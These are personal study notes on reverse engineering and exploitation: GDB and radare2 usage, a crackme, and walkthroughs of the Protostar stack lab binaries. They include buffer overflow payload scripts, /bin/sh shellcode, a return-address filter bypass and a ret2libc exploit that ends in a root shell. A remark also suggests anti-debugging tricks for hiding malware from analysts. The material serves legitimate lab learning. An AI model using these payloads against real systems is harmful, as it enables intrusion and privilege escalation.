Practice on : https://microcorruption.com/debugger/New%20Orleans
Read basic instructions in assembly like :
- compare
- jump
- add
- move
- subtract
- goto
- push
- pop
.... etc.
Focus on Memory and Stack instructions
Github Link : https://github.com/LiveOverflow/liveoverflow_youtube/tree/master/0x05_simple_crackme_intro_assembler
Download the resources
wget https://raw.githubusercontent.com/LiveOverflow/liveoverflow_youtube/master/0x05_simple_crackme_intro_assembler/gdb_disassembly
wget https://raw.githubusercontent.com/LiveOverflow/liveoverflow_youtube/master/0x05_simple_crackme_intro_assembler/license_1.c
### After getting compile the binary
gcc license_1.c -o license
It's a simple program which checks if a license is valid or not by taking a input as an argument. To see binary assembly code
gdb "binary_name"
Always set the view as : set disassembly-flavor intel To disassemble a function : disassemble "func_name"
Analyse the assembly Code -> :)
GDB Commands :
- break (star)"point_where_to_break" : Eg, break *main
- info registers : To get the info about the basic memory layout
- si : to go through the code by instruction wise and stopping each time
- ni : to go through the code by executing the function first and then stopping on the first instruction
- run / run "args" : to start the program
- set "memory_pointer" : Eg, set $eax=0, This will set the eax pointer to 0
Tools :
- radare2
- Hopper Disassembler
- strings
- objdump
- hexdump
Radare 2 Commands :
r2 binary_name
- aaa : to analyse all the functions
- afl : to analyse and list the functions
- ? : to get the help menu for commands
- pdf : to display the disassembled code of a function
- s "func/point" : this will set the address to what we are giving as input to point. Eg, s sym.main
- VV : To get graphical view / control graph
Step 1 : let's not store the string as it is in the code Step 2 : Compare the sum of ascii's of the input with the sum of the real key
Now our program is :
#include <string.h>
#include <stdio.h>
int main(int argc, char *argv[]) {
if(argc==2) {
printf("Checking License: %s\n", argv[1]);
int sum = 0;
for(int i = 0; i < strlen(argv[1]);i++){
sum += (int)argv[1][i];
}
if(sum == 916) {
printf("Access Granted!\n");
} else {
printf("WRONG!\n");
}
} else {
printf("Usage: <key>\n");
}
return 0;
}
Using Radare 2 analyse the compiled binary and getting the way to bypass checks. Now making safe doesn't work so now we move to a new approach which is :
USING A PARSER DIFFERENTIAL
What is this and what it will do ?
-> Now as we know that we can run the binary in linux system and we can also pass it through gdb and radare2 to analyse but what if we can do something so that we will still be able to run the binary but we aren't able to pass it through GDB and radare like softwares
Let's write a python script for achieving our goal. fuzzer.py in 0x08 folder
Uses :
- We can use this fuzzing technique to hide the working of our malware and stop people from analysing it.
- To make the code uncrackable
The script above is not written in professional way but it gives us a glimpse of how the Parser Differential works.
- https://www.sentinelone.com/blog/breaking-and-evading/
- https://ioactive.com/striking-back-gdb-and-ida-debuggers/
SysCalls : Bridge between Kernel Mode and User Mode
We need to download the VM from : https://exploit.education/downloads/
- Download Protostar
- Install it in virtual box
Login Creds
username : user password : user
Machine Page : https://exploit.education/protostar/ All the binaries which need to be exploited can be found in /opt/protostar/bin
This level introduces the concept that memory can be accessed outside of its allocated region, how the stack variables are laid out, and that modifying outside of the allocated memory can modify program execution.
-
Here we will now boot up the machine with given creds. It will look something like this
-
Navigate to /opt/protostar/bin
-
The code of binary is given to us and now analyse it with gdb
-
Let's understand the terminologies in the assembly code
POINTERS
--------
ebp = base pointer (it is at the bottom of the stack)
eip = instruction pointer
esp = stack pointer
INSTRUCTIONS
------------
call = this will put the address on the top of the stack
leave = this will pop all the local variable space in the stack
- Now one thing we all know that never to use gets() function in c. It is dangerous.
- Set the breakpoint of the program at the get instruction in the following asm program
0x0000555555555149 <+0>: push rbp
0x000055555555514a <+1>: mov rbp,rsp
0x000055555555514d <+4>: sub rsp,0x60
0x0000555555555151 <+8>: mov DWORD PTR [rbp-0x54],edi
0x0000555555555154 <+11>: mov QWORD PTR [rbp-0x60],rsi
0x0000555555555158 <+15>: mov DWORD PTR [rbp-0x4],0x0
0x000055555555515f <+22>: lea rax,[rbp-0x50]
0x0000555555555163 <+26>: mov rdi,rax
0x0000555555555166 <+29>: mov eax,0x0
0x000055555555516b <+34>: call 0x555555555040 <gets@plt> <--- this is the gets instruction
0x0000555555555170 <+39>: mov eax,DWORD PTR [rbp-0x4]
0x0000555555555173 <+42>: test eax,eax <--- here it is comparing the variables to 0
0x0000555555555175 <+44>: je 0x555555555188 <main+63>
0x0000555555555177 <+46>: lea rax,[rip+0xe8a] # 0x555555556008
0x000055555555517e <+53>: mov rdi,rax
0x0000555555555181 <+56>: call 0x555555555030 <puts@plt> <--- print statements
0x0000555555555186 <+61>: jmp 0x555555555197 <main+78>
0x0000555555555188 <+63>: lea rax,[rip+0xea2] # 0x555555556031
0x000055555555518f <+70>: mov rdi,rax
0x0000555555555192 <+73>: call 0x555555555030 <puts@plt> <--- print statements
0x0000555555555197 <+78>: mov eax,0x0
0x000055555555519c <+83>: leave
0x000055555555519d <+84>: ret
In GDB
break *0x000055555555516b # on gets
break *0x0000555555555170 # after gets
- We will enter some commands for gdb to execute when we hit the break point we can do it by setting the hook-stop
Type commands for definition of "hook-stop".
End with a line saying just "end".
>info registers
>x/24wx $esp
>x/2i $eip
>end
Now every time we hit a break point we will get the registers info and we will get the next two instructions which will be executed after the breakpoint
-
Now restart the program using r and as soon we hit the breakpoint we get the registers with the values
-
Now continue (c) the program and enter bunch of A's and now observe the register values and we see that there are bunch of 0x41414141. These values are nothing but the A's we provided --> "A" = char(0x41)
-
To check the content of the register which is being compared to zero we will use
(gdb) x/wx $esp+0x5c
# OUTPUT -> 0x000000000
-
Now we need to edit this but we need to count how many chars do we need to edit this. Let's count it from the output above and we will come to know that we need 64+ chars to edit our stack pointer $esp+0x5c
-
generate sting using python
python3 -c 'print("A"*70)'
Now copy and paste in gdb after restarting the execution
- And we have our result our pointer is edited to confirm check again using
x/wx $esp+0x5c
#OUTPUT -> 0x41414141
- This kind of behavior is actually a vulnerability called Buffer Overflow
Stack3 looks at environment variables, and how they can be set, and overwriting function pointers stored on the stack (as a prelude to overwriting the saved EIP)
- Boot up the machine with given credentials.
- navigate to /opt/protostar/bin.
- Run the stack3 binary to check the behavior.
- Open the binary in gdb and analyse.
- Disassemble the Code and Analyse the main and win function.
- Now we need to know where our win() function lies in the memory so for that we will use :
(gdb) x win
- This will give the address of the win() function.
- Now after analysing the assembly output of the main function we are able to find that the value fp; is called as a function if it is not equal to zero.
- Let's do some gdb stuff now
(gdb) break *(address_of_the_last_fp_call)
(gdb) r
---> After running provide input
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
(gdb) info registers
- Now we can see that our register eax is 0x41414141, this is nothing else but the A's we provided.
- Now we will write a simple script to know the offset till where our buffer is limited and where overflow is happening. (script in /stack3 directory) (script_name = "check_offset.py")
- Now we will pip the output of the offset script in gdb and get the offset.
# compile the script and store the output
python /tmp/check_offset.py > /tmp/out
# Open the binary in gdb
(gdb) disassemble main
(gdb) break *(address_of_the_last_fp_call)
(gdb) r < /tmp/out
(gdb) info registers
- As we can see that our offset is at 0x51515151 exactly so this means that our buffer started to overflow when the letter Q appears so now create another script which will call our win function. (script in /stack3 directory) (script_name = "exploit.py")
(gdb) disassemble main
(gdb) break *(address_of_the_last_fp_call)
(gdb) r < /tmp/out
(gdb) info registers
- Now after piping the output to the binary in gdb we can see that our eax pointer is set to 0x08048424, therefore our next execution call will be win() function.
(gdb) c
- And we see our output as 'code flow successfully changed' we can confirm it using
python /tmp/exploit.py | ./stack3
VOILA, stack 3 binary is exploited. Similarly stack4 can also be solved :)
Solved !! scripts in directory stack4
Stack5 is a standard buffer overflow, this time introducing shellcode.
Analyse the binary in GDB
- Let's make a break point at "return" of the main function
- Now we need to analyse the registers so we will make a hook-stop
> x/1i $eip
> x/8wx $esp
> end
x/1i $eip : To read the first instruction at the instruction pointer. x/8wx $esp : Examine 8 words in hex from the stack. end : to end the hook
Let's provide the input as the offset string generated by the offset.py program
(gdb) r < /tmp/offset
Now after continuing check the info registers to get the esp value so that we can append it to the exploit string
Let's create the exploit
string = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSS"
eip = "\x20\xf8\xff\xbf" # 0xbffff820 = $esp (after return)
# This is INT 3 instruction to stop the execution and then execute somehing else
payload = "\xCC" * 4
print(string+eip+payload)
Viola 🎉 !! We got SIGTRAP Error which is a trace/breakpoint trap
Now if we run the code we will get ILLEGAL INSTRUCTION
Why is this happening ?
The main reason for this is different execution environments for our input and the gdb instruction. We can understand more from this.
We can notice differnet addresses in the Environment Variables 🧮
How to overcome this ?
- Disable ENV variables before running the program
- Use number of NOP (No Operation instruction)
We will use the second technique to overcome this addressing problem. Modify the exploit 🧰
string = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSS"
eip = "\x20\xf8\xff\xbf" # 0xbffff820 = $esp (after return)
# This is INT 3 instruction to stop the execution and then execute somehing else
payload = "\x90" * 100 + "\xCC" * 4 # \x90 : NOP instruction
print(string+eip+payload)
Now if we run the code we will get Trace/Breakpoint Trap 🎉
Now we will access shell using the shell code from : http://www.shell-storm.org/shellcode/files/shellcode-811.php
"\x31\xc0\x50\x68\x2f\x2f\x73"
"\x68\x68\x2f\x62\x69\x6e\x89"
"\xe3\x89\xc1\x89\xc2\xb0\x0b"
"\xcd\x80\x31\xc0\x40\xcd\x80";
Let's design the exploit :
string = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSS"
eip = "\x20\xf8\xff\xbf" # 0xbffff820 = $esp (after return)
nops = "\x90" * 100 # \x90 : NOP instruction
# SHELLCODE
# ---------
# This is the shellcode to execute /bin/bash
payload = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80";
print(string+eip+nops+payload)
Now we will execute the binary with our exploit output and cat to get an interactive shell
(python3 fin_exp.py ; cat) > ./stack5
Stack6 looks at what happens when you have restrictions on the return address. This level can be done in a couple of ways, such as finding the duplicate of the payload ( objdump -s will help with this), or ret2libc , or even return orientated programming. It is strongly suggested you experiment with multiple ways of getting your code to execute here.
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void getpath()
{
char buffer[64]; // buffer of 64 bytes
unsigned int ret;
printf("input path please: "); fflush(stdout);
gets(buffer);
ret = __builtin_return_address(0); // __builtin_return_address -> this function returns the return address of the function (current one / caller one)
if((ret & 0xbf000000) == 0xbf000000) { // This function is checking if the address starts with 0xbf it will exit the code and print the result given below (bzzzt)
printf("bzzzt (%p)\n", ret);
_exit(1);
}
printf("got path %s\n", buffer); // We need our code to be exited here and hit the Trace/Breakpoint Trap
}
int main(int argc, char **argv)
{
getpath(); // Calling getpath()
}
Now the exploit we developed previously willnot work this time because of the if statement checking the condition of the memory return Address we can try doing it and we will get the result as "bzzzt 0xbf**__**(any address)"
Now we need to bypass this 0xbf thing and execute our code from the buffer
(gdb) set disassembly-flavor intel
(gdb) disassemble main
(gdb) break *getpath ----> To set a breakpoint at the address where getpath is called in the main function.
(gdb) r
(gdb) info proc map
As we can see here that the only addresses which are on the stack are starting with "0xbf--------". This is the problem for us. Now what we will do is we will replce our return address with the return address of getpath() function.
This is what will happen then :
- First the function will call the return which we provided in the stack
- This will bypass the if statement check of 0xbf
- Now the function will return itself
- Now the next address on the stack will be 0xbf------- (which is what we need to jump back in the stack in order to execute our shellcode)
Let's design an exploit for that :
import struct
string = "0000AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSS"
eip = struct.pack("I", 0xbffff7c0+32)
return_addr = struct.pack("I", 0x080484f9)
trap = "\xCC" * 100
print(string+return_addr+eip+trap)
In GDB :
(gdb) disassemble getpath
(gdb) break *0x080484f9
(gdb) r < /tmp/stack6
(gdb) x/4wx $esp
(gdb) si
(gdb) x/4wx $esp
(gdb) si
(gdb) c
VIOLA 🎉 !! We have ou exploit done We recieved our TRAP/BREAKPOINT. Now we can execute our shellcode or binary code to get our desired access
This stack is similar to the previous stack in which we need to use the rit2libc technique to solve this challenge. Now first analyse the breakpoints and the eip and esp pointers after setting the breakpoint at the getpath() function.
Get Path Function
0x0000000100003e30 <+0>: push rbp
0x0000000100003e31 <+1>: mov rbp,rsp
0x0000000100003e34 <+4>: sub rsp,0x60
0x0000000100003e38 <+8>: mov rax,QWORD PTR [rip+0x1c1] # 0x100004000
0x0000000100003e3f <+15>: mov rax,QWORD PTR [rax]
0x0000000100003e42 <+18>: mov QWORD PTR [rbp-0x8],rax
0x0000000100003e46 <+22>: lea rdi,[rip+0x12f] # 0x100003f7c
0x0000000100003e4d <+29>: mov al,0x0
0x0000000100003e4f <+31>: call 0x100003f24
0x0000000100003e54 <+36>: mov rax,QWORD PTR [rip+0x1ad] # 0x100004008
0x0000000100003e5b <+43>: mov rdi,QWORD PTR [rax]
0x0000000100003e5e <+46>: call 0x100003f18
0x0000000100003e63 <+51>: lea rdi,[rbp-0x50]
0x0000000100003e67 <+55>: call 0x100003f1e
0x0000000100003e6c <+60>: mov rax,QWORD PTR [rbp+0x8]
0x0000000100003e70 <+64>: mov DWORD PTR [rbp-0x54],eax
0x0000000100003e73 <+67>: mov eax,DWORD PTR [rbp-0x54]
0x0000000100003e76 <+70>: and eax,0xb0000000
0x0000000100003e80 <+80>: jne 0x100003ea1 <getpath+113>
0x0000000100003e86 <+86>: mov esi,DWORD PTR [rbp-0x54]
0x0000000100003e89 <+89>: lea rdi,[rip+0x100] # 0x100003f90
0x0000000100003e90 <+96>: xor eax,eax
0x0000000100003e92 <+98>: call 0x100003f24
0x0000000100003e97 <+103>: mov edi,0x1
0x0000000100003e9c <+108>: call 0x100003f12
0x0000000100003ea1 <+113>: lea rsi,[rbp-0x50]
0x0000000100003ea5 <+117>: lea rdi,[rip+0xf0] # 0x100003f9c
0x0000000100003eac <+124>: mov al,0x0
0x0000000100003eae <+126>: call 0x100003f24
0x0000000100003eb3 <+131>: lea rdi,[rbp-0x50]
0x0000000100003eb7 <+135>: call 0x100003f2a
0x0000000100003ebc <+140>: mov QWORD PTR [rbp-0x60],rax
0x0000000100003ec0 <+144>: mov rax,QWORD PTR [rip+0x139] # 0x100004000
0x0000000100003ec7 <+151>: mov rax,QWORD PTR [rax]
0x0000000100003eca <+154>: mov rcx,QWORD PTR [rbp-0x8]
0x0000000100003ece <+158>: cmp rax,rcx
0x0000000100003ed1 <+161>: jne 0x100003ee1 <getpath+177>
0x0000000100003ed7 <+167>: mov rax,QWORD PTR [rbp-0x60]
0x0000000100003edb <+171>: add rsp,0x60
0x0000000100003edf <+175>: pop rbp
0x0000000100003ee0 <+176>: ret
0x0000000100003ee1 <+177>: call 0x100003f0c
0x0000000100003ee6 <+182>: ud2
0x0000000100003ee8 <+184>: nop DWORD PTR [rax+rax*1+0x0]
(gdb) set disassembly-flavor intel
(gdb) disassemble getpath
(gdb) break getpath
(gdb) r
(gdb) x/i $eip # eip pointer -> Next instruction to be executed
(gdb) x/80x $esp # This will give us the top 80 address/instructions from the stack
(gdb) c
Now we will run this by setting the hook-stop with offset as an input
Setting the hook-stop
(gdb) set hook-stop
> info registers
> x/3i $eip
> x/80x $esp
> end
Setting the breakpoint after the gets() function address and running the program and continuing the execution
(gdb) break *0x080484ef
(gdb) r < /tmp/offset
(gdb) c
Now we got segmentation fault at address 0x55555555 => char(0x55) => 'U' We have our offset now which is from 'A' to 'T' all 4 chars. This string will look like : AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTT
Let's develop a python script for this :
- We need to first get the "/bin/sh" address in the system
- Then we need to point the $eip to execute the "/bin/sh" as root
Getting system address in gdb
(gdb) p system
$1 = {<text variable, no debug info>} 0xb7ecffb0 <__libc_system>
# System Address : 0xb7ecffb0
Let's get the libc address in gdb
(gdb) info proc map
Now we know our libc address let's get the "/bin/sh" address in gdb
(gdb) find &system, +9999999, "/bin/sh"
We got the address as : 0xb7fba23f for "/bin/sh" in gdb. Let's cross check if it is the "/bin/sh" or not ?
(gdb) x/s 0xb7fba23f
# OUTPUT :
0xb7fba23f: "KIND in __gen_tempname\""
This is a wrong address we need to find the real address of "/bin/sh" in gdb. Let's use strings module to find the real address (I got this method from a blog)
user@protostar:/opt/protostar/bin$ strings -a -t x /lib/libc-2.11.2.so | grep /bin/sh
# OUTPUT :
11f3bf /bin/sh
Now to get the /bin/sh address we will add 11f3bf to libc address which would be :
0xb7e97000 + 11f3bf = 0xb7fb63bf
Let's check if this is the real address of /bin/sh
(gdb) x/s 0xb7fb63bf
Voila !! 🎉 we got the real address
Exploit :
buffer = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTT" # padding
system_address = "\xb0\xff\xec\xb7" # system : 0xb7ecffb0
drag = "AAAA"
bin_sh = "\xbf\x63\xfb\xb7" # /bin/sh : 0xb7fb63bf
exploit_string = buffer + system_address+drag + bin_sh
print(exploit_string)
user@protostar:/opt/protostar/bin$ python /tmp/exploit.py > /tmp/exploit
Let's run the exploit with this string
user@protostar:/opt/protostar/bin$ python /tmp/exploit.py | ./stack7
# OUTPUT
input path please : bzzzt (0xb7ecffb0)
Now we need to bypass the filter so for that we will first go to the return address of the getpath() function. Address of the "ret" instruction in getpath() : 0x08048544
Now our new exploit will become :
buffer = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTT" # padding
ret = "\x44\x85\x04\x08" # return address of getpath()
system_address = "\xb0\xff\xec\xb7" # system : 0xb7ecffb0
drag = "AAAA"
bin_sh = "\xbf\x63\xfb\xb7" # /bin/sh : 0xb7fb63bf
exploit_string = buffer + ret + system_address + drag + bin_sh
print(exploit_string)
Wooohoooo !! We have what we wanted a SEGMENTATION FAULT after the binary execution
Gaining the root shell
(python /tmp/exploit.py ;cat) | ./stack7
We got the f**king shell with root access